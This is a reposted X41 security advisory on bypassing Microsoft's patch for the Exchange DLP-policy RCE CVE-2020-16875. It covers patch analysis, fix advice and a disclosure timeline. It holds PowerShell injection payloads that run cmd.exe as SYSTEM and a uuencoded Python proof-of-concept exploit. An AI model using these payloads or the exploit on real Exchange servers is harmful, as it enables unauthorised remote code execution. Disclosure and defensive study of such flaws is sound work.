https://x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/
|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
|=-------------*[ CVE-2020-16875 Protection/Filter Bypass ]*-------------=|
|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
|=-----------------------------*[ @x41sec ]*-----------------------------=|
|=.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-,.,-'^`-=|
* ,
_/^_
< >
* /.-. *
* `/&` *
,@.*;@,
/_o.I %_ *
* (`'--:o(_@;
/`;--.,__ `') *
;@`o % O,*`'`&
* (`'--)_@ ;o %'() *
/`;--._`''--._O'@;
/&*,()~o`;-.,_ `""`)
* /`,@ ;+& () o*`;-';
(`""--.,_0 +% @' &()
/-.,_ ``''--....-'`) *
* /@%;o`:;'--,.__ __.'
;*,&(); @ % &^;~`"`o;@(); *
/(); o^~; & ().o@*&`;&%O
jgs `"="==""==,,,.,="=="==="`
__.----.(-''#####---...___...-----._
'` )_`"""""`
.--' ')
o( )_-
`"""` `
0) Table of contents
1 - Introduction and Impact
2 - Patch Analysis
3 - Filter Bypass
3.1 - Bypass Check #1
3.2 - Bypass Check #2
3.3 - Bypass Check #3
4 - PoC
5 - Solution Advice
6 - Timeline
7 - Credits
8 - PoC
1) Introduction
In September 2020 a patch was issued for CVE-2020-16875 affecting Microsoft
Exchange 2016 and 2019. The vulnerability enables RCE via cmdlets supplied by
the /ecp/DLPPolicy HTTPS endpoint of an Exchange server.
The original vulnerability and research was reported by Steven Seeley
of Source Incite (@steventseeley) and is available here:
https://srcincite.io/advisories/src-2020-0019/ (Advisory)
https://srcincite.io/pocs/cve-2020-16875.py.txt (PoC)
Steven found the bypass described in this writeup as well and
he will publish his own blog post also describing the original
vulnerability and potentially more.
A patch has been issued introducing filtering of cmdlets:
https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016
As part of automated patch analysis efforts, the team at X41 analyzed
the patch and was able to bypass the filter with a modified payload.
This allows the injection of cmdlets into a remote Exchange server. A valid user
account with permissions to administrate the DLP policies is required.
The impact is identical to the previous vulnerability present on unpatched
Exchange installations:
CVSS: 8.5
Severity (according to MSRC): Critical
2) - Patch Analysis
The patched code that prevents exploitation of CVE-2020-16875
looks like this:
internal static void ValidateCmdletParameters(string cmdlet,
IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
if (string.IsNullOrWhiteSpace(cmdlet))
{
return;
}
Collection<PSParseError> collection2;
Collection<PSToken> collection = PSParser.Tokenize(cmdlet,
out collection2);
if (collection2 != null && collection2.Count > 0)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
}
if (collection != null)
{
// #1 CHECKS IF THERE IS MORE THAN ONE COMMAND, BUT DOES NOT
// RECOGNIZE .NET FUNCTIONS SUCH AS [Int32]::Parse("12")
if ((from token in collection
where token.Type == PSTokenType.Command
select token).ToList<PSToken>().Count > 1)
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
}
}
bool flag = false;
foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
{
// #2 CHECKS IF THE cmdlet STRING(!!) STARTS WITH AN ALLOWED KEY
if (cmdlet.StartsWith(keyValuePair.Key,
StringComparison.InvariantCultureIgnoreCase))
{
// #3 CHECKS IF THE THE VALUES / PARAMETERS MATCH A CERTAIN
// REGEX
if (!Regex.IsMatch(cmdlet, keyValuePair.Value,
RegexOptions.IgnoreCase))
{
throw new DlpPolicyParsingException(
Strings.DlpPolicyMissingRequiredParameter(cmdlet,
keyValuePair.Value));
}
flag = true;
}
}
if (!flag)
{
throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(
cmdlet));
}
}
A validation of the cmdlet is attempted with two main goals:
1. Prevent multiple Powershell Command tokens per cmdlet.
2. Only allow whitelisted commands with certain parameters.
Three checks are introduced to filter out exploitation attempts.
Unfortunately these checks aren't sufficient.
3.1) Bypass Check #1
Check #1 in the patch above is parsing and tokenizing the cmdlet string
and checks if more than one token of type PSTokenType.Command
is present. This rejects the original payload that relies on having
more than one command such as for example the following payload:
New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;
$i.FileName="cmd";$i.Arguments="/c %s";
$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start()
Also command tokens inside `$()` statements are prevented, so
the following will NOT work:
new-transportrule -Name $(Diagnostics.Process.Start(....))
However, direct calls to .NET via the square bracket syntax are still
possible as they are not considered as `Command` tokens by PSParser:
new-transportrule -Name $([Diagnostics.Process]::start("cmd.exe", "/C ...."))
The above command contains one `Command` token, therefore bypassing
check #1.
3.2) Bypass Check #2
Check #2 can be easily bypassed because the check is done on the
raw cmdlet string and is only using the function `.StartsWith()`
to check the beginning of the cmdlet. To bypass we just supply
a command string that is contained in the valid keys given
via requiredParameters:
new-transportruleSOMETHINGELSE....
3.3) Bypass Check #3
Check #3 is applying a regular expression to the cmdlet to
ensure only valid parameters and values are supplied. Unfortunately
the regular expression falls short in at least two ways:
1. By default Regex.IsMatch() does not match multiple lines.
2. The applied regular expression does not match from begin
to end of the cmdlet string, but instead also matches on sub strings.
To bypass the check, the Powershell cmdlet just needs to
contain one of the expected parameters such as for example `DlpPolicy`.
4) PoC
The following payload can bypass all three checks as
mentioned above:
<![CDATA[ new-transportrule
-Name $([Diagnostics.Process]::start("cmd.exe / C <run-as-SYSTEM>"))
-DlpPolicy "%%DlpPolicyName%%"
]]>
5) Solution Advice
A fix has been released[1] in the December Patch Tuesday.
It is strongly recommended to create a more strict interface that
can be accessed via the DLP API in Exchange. The usage of cmdlets
is inherently dangerous because of the complexity of the Powershell
scripting language. Instead a dedicated function interface that
only accepts whitelisted individual parameters is recommended.
6) Timeline
2020-09-28 - Patch analysis via the experimental X41 patch analysis pipeline
2020-09-30 - Confirmed the patch is ineffective by creating a new PoC
2020-10-01 - Report to MSRC
2020-12-08 - A new fix was released in the Patch Tuesday as CVE-2020-17132
2020-12-09 - Bounty rejected since only a proof for on-prem was provided
7) Credits
In Alphabetical Order:
Leonard Rapp - Patch Diffing and Analysis
Markus Vervier - PoC / Exploitation
Steven Seeley - for the original PoC and good discussions
Yasar Klawohn - PoC / Bypass
8) PoC
begin 644 CVE-2020-16875-PATCH-BYPASS.py
M(R$O=7-R+V)I;B]E;G8@<'ET:&]N,PT*(B(B#0I4:&ES(%!O0R!I<R!A(&UO
M9&EF:65D('9E<G-I;VX@;V8@=&AE($]R:6=I;F%L(%!O0R!O9@T*<W)C:6YC
M:71E(&9O<B!#5D4M,C`R,"TQ-C@W-2!A=F%I;&%B;&4@870Z#0H-"FAT='!S
M.BO<W)C:6YC:71E+FEO+W!O8W,O8W9E+3(P,C`M,38X-S4N<'DN='AT#0H-
M"FAT='!S.BO=W=W+G@T,2UD<V5C+F1E(#(P,C`L($UA<FMU<R!697)V:65R
M+"!987-A<B!+;&%W;VAN#0H-"E1H:7,@4&]#(&)Y<&%S<V5S('1H92!P871C
M:"!F;W(@0U9%+3(P,C`M,38X-S4Z#0H-"DUI8W)O<V]F="!%>&-H86YG92!3
M97)V97(@1&QP571I;',@061D5&5N86YT1&QP4&]L:6-Y(%)E;6]T92!#;V1E
M($5X96-U=&EO;B!6=6QN97)A8FEL:71Y#0I0871C:#H@:'1T<',Z+R]P;W)T
M86PN;7-R8RYM:6-R;W-O9G0N8V]M+V5N+75S+W-E8W5R:71Y+6=U:61A;F-E
M+V%D=FES;W)Y+T-612TR,#(P+3$V.#<U#0H-"G)E<V5A<F-H97)`:6YC:71E
M.GXD("XO<&]C+G!Y#0HH*RD@=7-A9V4Z("XO<&]C+G!Y(#QT87)G970^(#QU
M<V5R.G!A<W,^#0HH*RD@96<Z("XO<&]C+G!Y(#$Y,BXQ-C@N-S4N,30R(&AA
M<G)Y;4!E>&-H86YG961E;6N8V]M.G5S97(Q,C,C(R,@;7-P86EN=`T*#0IR
M97-E87)C:&5R0&EN8VET93I^)"`N+W!O8RYP>2`Q.3(N,38X+C<U+C$T,B!H
M87)R>6U`97AC:&%N9V5D96UO+F-O;3IU<V5R,3(S(R,C(&US<&%I;G0-"B@K
M*2!L;V=G960@:6X@87,@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VT-"B@K*2!F
M;W5N9"!T:&4@7U]V:65W<W1A=&4Z("]W15!$=U5)3%1G-4U$07I-1$9K6D9!
M97E04S<O94)*-&Q03E).4$)J;3A1:5=,5VYI<E$Q=G-';%-Y:E9X834-"B@K
M*2!E>&5C=71E9"!M<W!A:6YT(&%S(%-94U1%32$-"@T*0VAA;F=E<SH@82!N
M97<@9FEL=&5R('=A<R!I;G1R;V1U8V5D('1H870@<VAO=6QD(&5N<W5R92!T
M:&5R92!I<R!N;W0@;6]R90T*=&AA;B!O;F4@8V]M;6%N9"!I;B!T:&4@8VUD
M;&5T(&%N9"!T:&%T('1H92!C;VUM86YD(&ES(&9R;VT@82!L:7-T(&]F(&%L
M;&]W960@8V]M;6%N9',N#0I5;F9O<G1U;F%T96QY(&%L;"!T:&5S92!C:&5C
M:W,@8V%N(&)E(&)Y<&%S<V5D(&1U92!T;R!I;F-O<G)E8W0@87-S=6UP=&EO
M;G,-"F%B;W5T('1H92!C;61L970@<&%R<VEN9R!R97-U;'0@86YD('1H92!I
M;F-O<G)E8W0@=7-A9V4@;V8@<F5G=6QA<B!E>'!R97-S:6]N<PT*=&@=F%L
M:61A=&4@=&AE('!A<F%M=&5R<RX-"@T*1F]R(&1E=&%I;',@<&QE87-E('-E
M92!T:&4@86YN;W1A=&5D('!A=&-H(&EN(&9I;&4@0U9%+3(P,C`M,38X-S4M
M<&%T8V@N8W,-"F%N9"!T:&4@=W)I=&5U<',@+R!C;VUM96YT<R!I;B!F:6QE
M($-612TR,#(P+3$V.#<U+7=R:71E=7`N='AT#0H-"B(B(@T*#0II;7!O<G0@
M<F4-"FEM<&]R="!S>7,-"FEM<&]R="!R86YD;VT-"FEM<&]R="!S=')I;F<-
M"FEM<&]R="!U<FQL:6(S#0II;7!O<G0@<F5Q=65S=',-"G5R;&QI8C,N9&ES
M86)L95]W87)N:6YG<RAU<FQL:6(S+F5X8V5P=&EO;G,N26YS96-U<F5297%U
M97-T5V%R;FEN9RD-"@T*9&5F(')A;F1O;5]S=')I;F<H<W1R7VQE;CTX*3H-
M"B`@("!L971T97)S(#T@<W1R:6YG+F%S8VEI7VQO=V5R8V%S90T*("`@(')E
M='5R;B`G)RYJ;VEN*')A;F1O;2YC:&]I8V4H;&5T=&5R<RD@9F]R(&D@:6X@
M<F%N9V4H<W1R7VQE;BDI#0H-"F1E9B!G971?>&UL*&,I.@T*("`@(')E='5R
M;B`B(B(/WAM;"!V97)S:6]N/2(Q+C`B(&5N8V]D:6YG/2)55$8M."(_/@T*
M/&1L<%!O;&EC>51E;7!L871E<SX-"B`@/&1L<%!O;&EC>51E;7!L871E(&ED
M/2)&-T,R.4%%0RU!-3)$+30U,#(M.38W,"TQ-#$T,C1!.#-&04(B(&UO9&4]
M(D%U9&ET(B!S=&%T93TB16YA8FQE9"(@=F5R<VEO;CTB,34N,"XR+C`B/@T*
M("`@(#QC;VYT96YT5F5R<VEO;CXT/"]C;VYT96YT5F5R<VEO;CX-"B`@("`
M<'5B;&ES:&5R3F%M93YS:3PO<'5B;&ES:&5R3F%M93X-"B`@("`;F%M93X-
M"B`@("`@(#QL;V-A;&EZ9613=')I;F<@;&%N9STB96XB/CPO;&]C86QI>F5D
M4W1R:6YG/@T*("`@(#PO;F%M93X-"B`@("`9&5S8W)I<'1I;VX^#0H@("`@
M("`;&]C86QI>F5D4W1R:6YG(&QA;F<](F5N(CX+VQO8V%L:7IE9%-T<FEN
M9SX-"B`@("`+V1E<V-R:7!T:6]N/@T*("`@(#QK97EW;W)D<SX+VME>7=O
M<F1S/@T*("`@(#QR=6QE4&%R86UE=&5R<SX+W)U;&5087)A;65T97)S/@T*
M("`@(#QP;VQI8WE#;VUM86YD<SX-"B`@("`@(#QC;VUM86YD0FQO8VL^#0H@
M("`@("`@(#PA6T-$051!6R!N97<M=')A;G-P;W)T<G5L92`M3F%M920H6T1I
M86=N;W-T:6-S+E!R;V-E<W-=.CIS=&%R="@B8VUD+F5X92`O($,@;7-P86EN
M="YE>&4B*2D@+41L<%!O;&EC>2`B)25$;'!0;VQI8WE.86UE)24B(%U=/@T*
M("`@("`@/"]C;VUM86YD0FQO8VL^#0H@("`@/"]P;VQI8WE#;VUM86YD<SX-
M"B`@("`<&]L:6-Y0V]M;6%N9'-297-O=7)C97,^/"]P;VQI8WE#;VUM86YD
M<U)E<V]U<F-E<SX-"B`@/"]D;'!0;VQI8WE496UP;&%T93X-"CPO9&QP4&]L
M:6-Y5&5M<&QA=&5S/B(B(@T*#0ID968@=')I9V=E<E]R8V4H="P@<RP@=G,I
M.@T*("`@(&8@/2![#0H@("`@("`@("=?7U9)15=35$%412<Z("A.;VYE+"!V
M<RDL#0H@("`@("`@("=C=&PP,"1297-U;'1086YE4&QA8V5(;VQD97(D<V5N
M9&5R0G1N)SH@*$YO;F4L(")297-U;'1086YE4&QA8V5(;VQD97)?0G5T=&]N
M<U!A;F5L7V)T;DYE>'0B*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50
M;&%C94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)&YA;64G.B`H3F]N92P@<F%N
M9&]M7W-T<FEN9R@I*2P-"B`@("`@("`@)V-T;#`P)%)E<W5L=%!A;F50;&%C
M94AO;&1E<B1C;VYT96YT0V]N=&%I;F5R)'5P;&1#=')L)SH@*")D;'!R8V4N
M>&UL(BP@9V5T7WAM;"@I*2P-"B`@("!]#0H@("`@<B`](',N<&]S="@B:'1T
M<',Z+RE<R]E8W`O1$Q04&]L:6-Y+TUA;F%G95!O;&EC>49R;VU)4U8N87-P
M>"(@)2!T+"!F:6QE<SUF+"!V97)I9GD]1F%L<V4I#0H@("`@87-S97)T('(N
M<W1A='5S7V-O9&4@/3T@,C`P+"`B*"TI(&9A:6QE9"!T;R!T<FEG9V5R(')C
M92$B#0H-"F1E9B!L96%K7W9I97=S=&%T92AT+"!S*3H-"B`@("!R(#T@<RYG
M970H(FAT='!S.BO)7,O96-P+T1,4%!O;&EC>2]-86YA9V50;VQI8WE&<F]M
M25-6+F%S<'@B("4@="P@=F5R:69Y/49A;'-E*0T*("`@(&UA=&-H(#T@<F4N
M<V5A<F-H*"(:6YP=70@='EP93U<(FAI9&1E;EPB(&YA;64]7")?7U9)15=3
M5$%415PB(&ED/5PB7U]624574U1!5$5<(B!V86QU93U<(B@N*BE<(B`O/B(L
M('(N=&5X="D-"B`@("!A<W-E<G0@;6%T8V@@(3T@3F]N92P@(B@M*2!C;W5L
M9&XG="!L96%K('1H92!?7W9I97=S=&%T92$B#0H@("`@<F5T=7)N(&UA=&-H
M+F=R;W5P*#$I#0H@("`@#0ID968@;&]G7VEN*'0L('5S<BP@<'=D*3H-"B`@
M("!S(#T@<F5Q=65S=',N4V5S<VEO;B@I#0H@("`@9"`]('L-"B`@("`@("`@
M(F1E<W1I;F%T:6]N(B`Z(")H='1P<SHO+R5S+V]W82(@)2!T+`T*("`@("`@
M("`B9FQA9W,B(#H@(B(L#0H@("`@("`@(")U<V5R;F%M92(@.B!U<W(L#0H@
M("`@("`@(")P87-S=V]R9"(@.B!P=V0-"B`@("!]#0H@("`@<RYP;W-T*")H
M='1P<SHO+R5S+V]W82]A=71H+F]W82(@)2!T+"!D871A/60L('9E<FEF>3U&
M86QS92D-"B`@("!A<W-E<G0@<RYC;V]K:65S+F=E="AN86UE/2=8+4]702U#
M04Y!4EDG*2`A/2!.;VYE+"`B*"TI(&-O=6QD;B=T(&QE86L@=&AE(&-S<F8@
M8V%N87)Y(2(-"B`@("!R971U<FX@<PT*#0ID968@;6%I;BAT+"!U<W(L('!W
M9"DZ#0H@("`@<R`](&QO9U]I;BAT+"!U<W(L('!W9"D-"B`@("!P<FEN="@B
M*"LI(&QO9V=E9"!I;B!A<R`E<R(@)2!U<W(I#0H@("`@=G,@/2!L96%K7W9I
M97=S=&%T92AT+"!S*0T*("`@('!R:6YT*"(H*RD@9F]U;F0@=&AE(%]?=FEE
M=W-T871E.B`E<R(@)2!V<RD-"B`@("!T<FEG9V5R7W)C92AT+"!S+"!V<RD-
M"B`@("!P<FEN="@B*"LI(&5X96-U=&5D(&-A;&,N97AE(&%S($%D;6EN:7-T
M<F%T;W(@*'9I82!365-414TI(2(I#0H-"FEF(%]?;F%M95]?(#T]("=?7VUA
M:6Y?7R<Z#0H@("`@:68@;&5N*'-Y<RYA<F=V*2`A/2`T.@T*("`@("`@("!P
M<FEN="@B*"LI('5S86=E.B`E<R`=&%R9V5T/B`=7-E<CIP87-S/B(@)2!S
M>7,N87)G=ELP72D-"B`@("`@("`@<')I;G0H(B@K*2!E9SH@)7,@,3DR+C$V
M."XW-2XQ-#(@:&%R<GEM0&5X8VAA;F=E9&5M;RYC;VTZ=7-E<C$R,R,C(R!M
M<W!A:6YT(B`E('-Y<RYA<F=V6S!=*0T*("`@("`@("!S>7,N97AI="@M,2D-
M"B`@("!T<F=T(#T@<WES+F%R9W9;,5T-"B`@("!A<W-E<G0@(CHB(&EN('-Y
M<RYA<F=V6S)=+"`B*"TI('EO=2!N965D(&$@=7-E<B!A;F0@<&%S<W=O<F0A
M(@T*("`@('5S<B`]('-Y<RYA<F=V6S)=+G-P;&ET*"(Z(BE;,%T-"B`@("!P
M=V0@/2!S>7,N87)G=ELR72YS<&QI="@B.B(I6S%=#0H@("`@;6%I;BAT<F=T
-+"!U<W(L('!W9"D-"@``
`
end
本文始发于微信公众号(Khan安全团队):CVE-2020-16875 Exchange 命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论